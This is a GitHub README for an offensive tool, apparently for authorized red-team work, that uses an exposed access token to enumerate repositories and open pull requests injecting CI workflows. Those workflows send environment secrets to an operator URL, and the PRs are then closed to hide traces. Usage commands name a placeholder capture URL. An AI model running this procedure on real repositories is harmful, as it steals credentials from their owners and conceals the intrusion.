Skip to content

platsecurity/TotallySafePR

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

TotallySafePR: The GitHub Actions Secret Exfiltration Tool

TotallySafePR is a specialized security research tool designed to demonstrate the risks of exposed GitHub Personal Access Tokens and insecure workflow configurations.

The companion blog post titled So You Put Your Secrets in GitHub. Bold Move. provides a comprehensive analysis of the attack mechanics and defensive strategies.

Features

TotallySafePR provides a streamlined workflow for assessing GitHub organization security through several key capabilities:

  • Repository Enumeration: The tool efficiently discovers all repositories accessible to a provided token across user accounts and organizations to build a complete target map.
  • Workflow Injection: It automates the creation of pull requests that introduce diagnostic workflows into target repositories without manual intervention.
  • Secret Exfiltration: The injected workflows capture environment variables and transmit them to a specified endpoint for analysis to prove the impact of the compromise.
  • Cleanup: The utility includes mechanisms to automatically close pull requests and remove branches to minimize the footprint of the engagement after data collection.

How It Works

The tool operates by leveraging the permissions of a provided GitHub Personal Access Token to map the attack surface and execute code within the CI environment.

flowchart TD
  PAT[Discover Github PAT]
  Repos[Find all repos]
  PRs[Create PRs]
  CI[Workflow runs in CI]
  Exfil[Env POSTed to URL]
  Cleanup[Optional cleanup]

  PAT --> Repos --> PRs --> CI --> Exfil --> Cleanup
Loading
  1. Discover and Clone Repositories: The operator uses the enumeration script to list all repositories accessible to the token and optionally clones them for static analysis.
  2. Create a Pull Request: The tool pushes a new branch containing a workflow file that triggers on pull request events and pushes the code to the repository.
  3. Exfiltrate Secrets: The GitHub Actions runner executes the workflow which dumps the environment variables and transmits them to the control server.
  4. Automatic Cleanup: The script waits for a specified duration before replacing the malicious workflow with a benign one and closing the pull request to hide traces of the activity.

Usage Guide

The repository includes two primary scripts that handle the enumeration and exploitation phases of the assessment.

Prerequisities

You must have bash, curl, jq, and git installed on your system. You also need a valid GitHub Personal Access Token with repository access.

Repository Enumeration

The clone-repos.sh script handles the discovery and cloning of repositories.

export GITHUB_TOKEN=ghp_...
./clone-repos.sh

This command fetches all repositories available to the authenticated user and prompts for confirmation before cloning them to the local filesystem. The list of repositories is saved to repos.txt for further processing.

Workflow Injection

The create-pr.sh script automates the creation of the pull request and the exfiltration process.

export GITHUB_TOKEN=ghp_...
./create-pr.sh owner/repo https://your-capture-url/

You can optionally configure the script to perform automatic cleanup by setting the AUTO_CLOSE_AFTER_SECONDS environment variable.

AUTO_CLOSE_AFTER_SECONDS=120 ./create-pr.sh owner/repo https://your-capture-url/

This configuration waits for two minutes to allow the workflow to complete before closing the pull request and deleting the branch.

Disclaimer

Use this tool only on systems you own or have explicit permission to test. This software is intended for security research and authorized assessments. The authors are not responsible for misuse.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages